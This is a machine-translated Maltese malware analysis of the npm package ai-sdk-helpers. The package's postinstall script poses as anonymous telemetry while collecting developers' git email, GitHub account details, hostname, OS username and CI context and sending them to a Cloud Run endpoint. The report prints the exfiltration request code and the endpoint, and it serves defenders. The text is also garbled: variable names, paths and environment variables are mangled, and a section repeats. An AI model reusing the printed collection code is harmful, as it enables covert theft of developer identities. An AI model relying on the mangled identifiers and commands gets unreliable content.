TL; DR
Pakkett wieħed npm, għajnuna għall-ai-sdk, jippreżenta ruħu bħala toolkit ta' produzzjoni għall-Vercel AI SDK, li joffri traċċar tal-ispejjeż, fallback tal-fornitur, u helpers tal-istriming.
L-iskrittura tal-installazzjoni tagħha tiftaħ b'banner ta' żvelar illustrat li jiddeskrivi dijanjostika anonima, billi jwiegħdu li l-ebda kodiċi tas-sors, tokens, jew kredenzjali ma jiġu trasmessi, u b'hekk jonoraw DO_NOT_TRACK opt-out, u link għal paġna ta' politika tat-telemetrija.
L-istess skript imbagħad jaqra l-identità git tal-iżviluppatur, il-konfigurazzjoni tal-GitHub CLI, l-isem tal-host tal-magna, l-isem tal-utent tal-OS, id-direttorju tax-xogħol, u l-fornitur tas-CI.
Dik id-dejta hija POSTED bħala JSON għal endpoint ta' Google Cloud Run, u b'hekk toħloq nuqqas ta' qbil ċar bejn il-politika tat-telemetrija ddikjarata u l-oqsma attwali miġbura.
Il-pakkett ġie ppubblikat f'tnejn u għoxrin verżjoni f'daqqa ta' 83 sekonda, u l-iskritt tal-installazzjoni huwa identiku byte b'byte f'kull verżjoni mmarkata.
Sebgħa mit-tmien verżjonijiet riveduti minn tagħna pipeline ġew ikklassifikati bħala mhux konklużivi mill-klassifikatur tal-ML għaliex l-istil tal-banner tal-kunsens jinqara bħal telemetrija leġittima.
Aħna nikklassifikaw ai-sdk-helpers bħala malizzjuż ibbażat fuq il-ġbir u l-esfiltrazzjoni tal-identità tal-iżviluppatur fil-ħin tal-installazzjoni.
Severità: għolja.
Anatomija tal-installazzjoni
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } wara l-installazzjoni jaħdem awtomatikament fuq npm jinstallaw, qabel ma jiġi importat xi kodiċi reklamat tal-pakkett. L-iskritt skripts/postinstallazzjoni.js huwa fejn tinsab l-imġiba kollha fil-ħin tal-installazzjoni.
Jiftaħ b'blokka ta' kummenti u avviż ta' runtime miktub fir-reġistru ta' proġett open-source konxju tal-privatezza:
>Meta tinstalla ai-sdk-helpers, aħna nwettqu verifika rapida tal-kompatibilità tal-ambjent u nirrappurtaw dijanjostika anonima… Id-dejta hija kompletament anonima — niġbru l-pjattaforma tiegħek, il-verżjoni tan-Node, u hash f'direzzjoni waħda tal-identifikatur tal-magna tiegħek. L-ebda kodiċi tas-sors, tokens, jew kredenzjali ma jiġu trażmessi qatt.
Saħansitra jgħaqqad bieb ta' opt-out li jaħdem, l-ewwel kodiċi eżegwibbli fil-fajl:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } Li tgħaqqad din il-bieb l-ewwel huwa dak li jagħmel il-bqija jinqara bħala kunsenswali: żviluppatur li jistabbilixxi `D_MHUX_TRAKK` iwettaq l-installazzjoni titlesta fis-skiet u jikkonkludi li l-pakkett jonora l-konvenzjoni. L-għażla onorata hija reali. Dak li tippermetti, għal kull min ma jistabbilixxihiex, hija l-kollezzjoni deskritta hawn taħt — mhux il-"pjattaforma, verżjoni Node, u hash f'direzzjoni waħda" aktar dejqa li jsemmi n-notifika.
Taħt dik il-bieba, l-iskritt jiġbor payload li jmur ferm lil hinn minn dik id-deskrizzjoni.
- *Gidentità t.* risolvuScmIdentità()` ras `~.gitconfig`,`~.config/git/config`,u l-proġett attwali `.it/konfigurazzjoni`,janalizza l-`[ser]` ezzjoni, u tirritorna l-konfigurat commit email. Jekk l-ebda fajl ta' konfigurazzjoni ma jagħti email, dan jirrikorri għall-`GT_AWTOR_EMAIL`,`GT_COMMITTER_EMAIL`,u `EAIL` varjabbli tal-ambjent. Docstring 'il fuq mill-funzjoni jifframmenta l-qari bħala mod "biex jitneħħew id-duplikazzjonijiet tal-installazzjonijiet fuq magni li huma tal-istess persuna (eż. laptop + CI)" — skop iddikjarat li jeħtieġ identifikatur stabbli għal kull żviluppatur, li commit provvisti tal-email.
- *GKont tat-tHub.* rsolveGitHubIdentity()` ras `~.config/gh/hosts.yml` u `~.config/gh/hosts.yaml` il-fajl tal-konfigurazzjoni miktub mill-GitHub CLI meta żviluppatur jawtentika — u jestratta b'mod regex l-`uer:` u `eail:` oqsma. Dak il-fajl jaħżen ukoll it-token GitHub OAuth; ir-regex tal-iskritt jimmira speċifikament lejn il-linji tal-username u tal-email u ma jiġbedx it-token. L-istqarrija tal-banner ta' żvelar "l-ebda token... qatt ma jiġi trasmess" hija għalhekk litteralment vera għal dak il-qasam wieħed filwaqt li l-identifikaturi tal-kont tal-madwar jinqraw u jintbagħtu.
- *Hmarka tas-swaba' st u CI.* L-iskrittura mbagħad tiġbor `o.isem tal-host()`,`o.userInfo().username`,il-verżjoni, il-pjattaforma u l-arkitettura tan-Node, `pocess.cwd()`,u tikketta ta' fornitur tas-CI solvuta billi ġew iċċekkjati l-varjabbli tal-ambjent għal tmien fornituri (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, u żewġ bnadar ġeneriċi tas-CI). Il-lista tal-fornituri tinqara bħala inventarju ta' fejn l-iskritt jistenna li jiġi eżegwit — qxur interattivi u bini awtomatizzat pipelines simili.
Dawn kollha huma miġbura f'waħda `dagnostiċi oġġett, bl-oqsma għal kull żviluppatur miġbura taħt `ientità` ey u d-dejta tal-ospitant taħt `rħin u `ċntext` għajnejn, imbagħad serjalizzati u trasmessi:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Ir-risposta tintrema u l-iżbalji kollha jinbelgħu — kumment jinnota li “t-telemetrija qatt m’għandha tkisser l-installazzjoni.” L-isem tal-host tal-endpoint jikkodifika servizz ta’ Google Cloud Run fl-`eħabel-punent1` reġjun.
Id-distakk huwa l-istorja. Il-banner isemmi tliet kategoriji ta' dejta — pjattaforma, verżjoni tan-Node, hash tal-identifikatur tal-magna. Il-payload jibgħat il-git reali tal-iżviluppatur commit l-email, l-isem tal-utent u l-email tal-GitHub tagħhom, l-isem tal-host tal-magna tagħhom u l-isem tal-kont tal-OS tagħhom, il-mogħdija tal-proġett tagħhom, u l-ambjent tas-CI tagħhom. L-oqsma li jidentifikaw *ppersuna u l-kontijiet tagħhom* eżattament l-oqsma li l-iżvelar iħalli barra.
Ir-README jsaħħaħ l-inkwadratura min-naħa l-oħra. It-taqsima "Telemetrija" tiegħu tirrepeti t-talba għall-anonimità u torbot il-kelma `D_MHUX_TRAKK` o `cnsoledonottrack.com`,il-paġna tal-komunità reali li tiddokumenta l-konvenzjoni tal-opt-out — tissellef privatezza rikonoxxuta standard biex l-avviż jinqara bħala rutina.
Kronoloġija
Din hija sejba ta' pakkett wieħed b'istorja ta' pubblikazzjoni qasira ħafna u densa ħafna. M'hemm l-ebda ark ta' kampanja ta' diversi ġimgħat x'jiġi traċċat — il-firxa kollha tal-verżjonijiet ġiet imbuttata bil-veloċità tal-magna.
| Meta (UTC) | avveniment |
|---|---|
| 2026-06-03 20:31:20 | L-ewwel verżjoni (0.1.0) ippubblikat fuq npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Il-22 verżjonijiet kollha (0.1.0 permezz 1.4.2) ippubblikat f'tifqigħa awtomatizzata ta' 83 sekonda. |
| 2026-06-04 | Tmien verżjonijiet immarkati minn sinjali ta' skoperta; analiżi manwali tikkonferma l-ġbir u l-esfiltrazzjoni tal-identità fil-ħin tal-installazzjoni. Il-pakkett baqa' live fuq npm fil-ħin tal-analiżi. |
It-tieqa ta' 83 sekonda fuq 22 verżjoni semantika hija fiha nnifisha indikatur tal-imġiba: is-sellum tal-verżjoni (`01.0`,`01.1`,... `14.2`)jippreżenta l-wiċċ ta' proġett miżmum attivament bi storja ta' rilaxx, prodott f'ġirja waħda skrittata. L-iskritt tal-installazzjoni ma jinbidilx tul dik is-sellum — ara hawn taħt.
Indikaturi ta' kompromess
Il-payload tal-ħin tal-installazzjoni huwa identiku fil-firxa kollha tal-verżjonijiet ippubblikati. A `dff` f`sripts/postinstall.js` bejn il-verżjoni `02.1 " verżjoni 14.2 " Ma jirritorna l-ebda differenza; l-imġiba hija fingerprint waħda fissa, mhux payload li qed tevolvi.
Netwerk
It-tieqa ta' 83 sekonda fuq 22 verżjoni semantika hija fiha nnifisha indikatur tal-imġiba: is-sellum tal-verżjoni (`01.0`,`01.1`,... `14.2`)jippreżenta l-wiċċ ta' proġett miżmum attivament bi storja ta' rilaxx, prodott f'ġirja waħda skrittata. L-iskritt tal-installazzjoni ma jinbidilx tul dik is-sellum — ara hawn taħt.
Indikaturi ta' kompromess
Il-payload tal-ħin tal-installazzjoni huwa identiku fil-firxa kollha tal-verżjonijiet ippubblikati. A `dff` f`sripts/postinstall.js` bejn il-verżjoni `02.1 " verżjoni 14.2 " Ma jirritorna l-ebda differenza; l-imġiba hija fingerprint waħda fissa, mhux payload li qed tevolvi.
Netwerk
| Indikatur | Rwol |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Endpoint ta' esfiltrazzjoni li jirċievi talbiet HTTPS POST b'payloads JSON. Ospitat fuq Google Cloud Run fil- europe-west1 reġjun. |
Infrastruttura tal-lixka
| Indikatur | Rwol |
|---|---|
ai-sdk.guide | Paġna ewlenija tal-pakkett u sit ħaj li jappoġġjaw l-identità tal-awtur tal-"AI SDK Guide". |
ai-sdk.guide/telemetry | URL tal-politika tat-telemetrija li hemm referenza għaliha fl-avviż ta' żvelar fil-ħin tal-installazzjoni. |
hello@ai-sdk.guide | L-email tal-awtur iddikjarat fi package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Repożitorju tas-sors iddikjarat mill-pakkett. |
Fajls jinqraw fil-ħin tal-installazzjoni
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` ġib `[ser]` posta
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
Firem tal-imġiba
- – m `pinstallazzjoni ook tinvoka skript Node miġbur
- – bieb ta' għażla mhux obbligatorja (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_MHUX_TRAKK`)ippreżentata bħala karatteristika ta' privatezza, qabel il-ġbir tal-identità
- – tbound HTTPS POST ta' oġġett JSON li fih l-email tal-git, l-identità tal-GitHub, l-isem tal-host, l-isem tal-utent tal-OS, is-cwd, u t-tikketta tas-CI
- – skript ta' installazzjoni te-identiku fuq sellum ta' verżjoni ppubblikata malajr
Attribuzzjoni u Imġieba Osservata
Ma nattribwixxu xejn lil hinn minn dak li jirreġistra l-pakkett u l-metadata tar-reġistru.
Il-mantenitur tar-rekords tal-npm huwa l-kont `aielsimon`,bl-indirizz `aiel@vigilance.security`.Ir-reġistru jelenka dik l-email bħala mhux verifikata u l-identità tal-kontroll tas-sors tal-kont bħala mhux verifikata. Il-`pckage.json`,separatament, jippreżenta lill-awtur bħala “Gwida tal-SDK tal-AI`ello@ai-sdk.guide>`”b'paġna ewlenija ta' `a-sdk.gwida` u repożitorju tas-sors taħt `gOrganizzazzjoni `thub.com/ai-sdk-guide`. Id-dominju tal-email tal-kont tal-pubblikazzjoni (`vigilance.security`)u l-identità tal-awtur fil-pakkett (`a-sdk.gwida`)huma dominji differenti.
L-`a-sdk.gwida` ite huwa live u jirrispondi, u l-`/elemetrija ath jirriżolvi — l-identità tan-nassa hija appoġġjata minn preżenza fuq il-web li tista' tintlaħaq aktar milli minn link mejjet, u dan iżid il-kredibbiltà tal-qafas tal-pakkett.
**Kapaċità osservata.** Fil-ħin tal-installazzjoni, il-pakkett jaqra l-identità tal-iżviluppatur u l-fajls tal-konfigurazzjoni tal-kont, jieħu l-marki tas-swaba' tal-host u tal-ambjent tas-CI, u jittrażmetti r-riżultat lil endpoint ikkontrollat mill-operatur, filwaqt li juri avviż li jiddeskrivi sett ta' dejta aktar ristrett u anonimizzat. Aħna niddeskrivu dan l-imġiba; ma nasserixxux motiv għaliha. Il-qarrejja li jevalwaw il-pakkett — inkluża kwalunkwe parti li tirrikonoxxi l-identità tal-pubblikazzjoni — għandhom jiżnu d-diskrepanza osservabbli bejn il-flussi tad-dejta ddikjarati u dawk attwali.
Impatt, xejriet, u gwida għad-difensuri
Min hu espost. Kull min jinstalla għajnuna għall-ai-sdk — direttament jew bħala dipendenza tranżittiva — imexxi l-kollezzjoni fuq dik il-magna. Minħabba li t-trigger huwa wara l-installazzjoni, il-kodiċi tal-librerija reklamat qatt ma jkollu bżonn jiġi importat biex iseħħ il-fluss tad-dejta; l-installazzjoni waħedha hija biżżejjed. L-ambjenti bl-ogħla valur huma workstations tal-iżviluppaturi b'identità git ikkonfigurata u GitHub CLI awtentikata, u runners tas-CI, fejn id-detezzjoni tal-fornitur tas-CI tal-iskritt tindika li l-kollezzjoni hija mistennija li taħdem ġewwa l-build pipelinekif ukoll fuq laptops.
Dak li jikxef. Mhux sigrieti tal-applikazzjoni fil-każ ġenerali — il-payload jiffoka fuq identitàtal-iżviluppatur commit l-email, l-isem tal-kont GitHub tagħhom u l-email, l-ismijiet tal-magna u tal-kont, u t-triq tal-proġett. Dik hija precisMappa ta' min installa l-pakkett, fuq liema magna, f'liema repożitorju, u taħt liema sistema ta' CI. Għal organizzazzjoni, numru żgħir ta' rekords bħal dawn meħuda flimkien jelenkaw liema inġiniera u liema sistemi ta' bini ġibdu d-dipendenza — utli bħala prekursur għal attività ta' segwitu aktar immirata, anke jekk l-imġiba ta' dan il-pakkett stess tieqaf fil-ġbir u t-trażmissjoni.
Ix-xejra: it-telemetrija bħala kopertura. L-għodod leġittimi tal-iżviluppaturi jiġbru dijanjostika tal-installazzjoni anonimizzata, u l-konvenzjonijiet biex jagħmlu dan b'rispett — avviż ta' żvelar, DO_NOT_TRACK unur, bandiera ta' opt-out, URL ta' politika — huma magħrufa sew. għajnuna għall-ai-sdk jirriproduċi b'mod fedel l-erba' konvenzjonijiet kollha u jużahom bħala l-pakkett għall-ġbir tal-identità. Il-preżenza ta' banner ta' kunsens, opt-out li jaħdem, jew link ta' politika ta' privatezza mhijiex evidenza li pakkett huwa affidabbli; dawk il-kontrolli huma rħas biex jiġu imitati. L-unika verifika affidabbli hija x'jaqra l-kodiċi fil-fatt u fejn jibgħatu fil-fatt.
Dan l-imballaġġ għandu wkoll effett li jista' jitkejjel fuq it-trijaġġ awtomatizzat. Fil-verżjonijiet kollha tagħna pipeline riveduti, il-kummenti f'lingwaġġ sempliċi tal-iskritt tal-installazzjoni, l-ismijiet tal-oqsma strutturati, u l-bieb konvenzjonali ta' opt-out ġew ikklassifikati bħala telemetrija ordinarja: sebgħa mit-tmienja rritornaw inkonklussiv mill-klassifikatur tal-ML aktar milli malizzjuż. Is-sinjal li jsolvi l-ambigwità mhuwiex fil-proża — jinsab fil-fajls speċifiċi li jiftaħ l-iskritt (~ / .gitconfig, ~/.config/gh/hosts.yml) u d-destinazzjoni li tibgħat lejha. Reviżur, awtomatizzat jew uman, li jaqra l-iżvelar u jieqaf hemm se jasal għall-konklużjoni żbaljata; id-determinazzjoni trid tiġi mill-fatti tal-fluss tad-dejta.
Gwida għad-difensuri:
- Installa bl-iskripts diżattivati awtomatikament — npm install –ignore-scripts, jew sett injora-skripts=veru in .npmrc u mexxi passi ta' bini vverifikati b'mod espliċitu. Dan jinnewtralizza wara l-installazzjoni-ġbir attivat madwar il-bord kollu.
- Tittrattax il-kontrolli tal-opt-out bħala sinjali ta' fiduċja. DO_NOT_TRACK verifika jew link ta' "politika tat-telemetrija" ma jgħidulek xejn dwar id-dejta li jiġbor skript meta l-bieb ma jkunx issettjat.
- Aqra l-ganċ tal-installazzjoni qabel ma tadotta pakketti ta' għajnuna għall-ekosistema tal-AI. L-ispazju tal-Vercel AI SDK huwa mira li qed tinbidel malajr u ta' fiduċja għolja; wara l-installazzjoni li jmiss ~ / .gitconfig or ~/.konfigurazzjoni/gh/ huwa sinjal ċar irrispettivament minn kif huma miktuba l-kummenti ta' madwaru.
- Immonitorja l-ħruġ fil-ħin tal-bini. HTTPS POST 'il barra matul npm jinstallaw, speċjalment għal endpoint ta' funzjoni tal-cloud li tkun għadha kif ġiet ipprovduta, huwa osservabbli fis-saff tan-netwerk u huwa punt ta' skoperta qawwi għall-ambjenti tas-CI.
- Oqgħod attent għal slielem ta' verżjoni kkompressata. Pakkett li l-istorja sħiħa tal-verżjoni semantika tiegħu tidher fi ftit sekondi, bi skript ta' installazzjoni li ma jinbidilx, qed jippreżenta storja ta' manutenzjoni manifatturata.





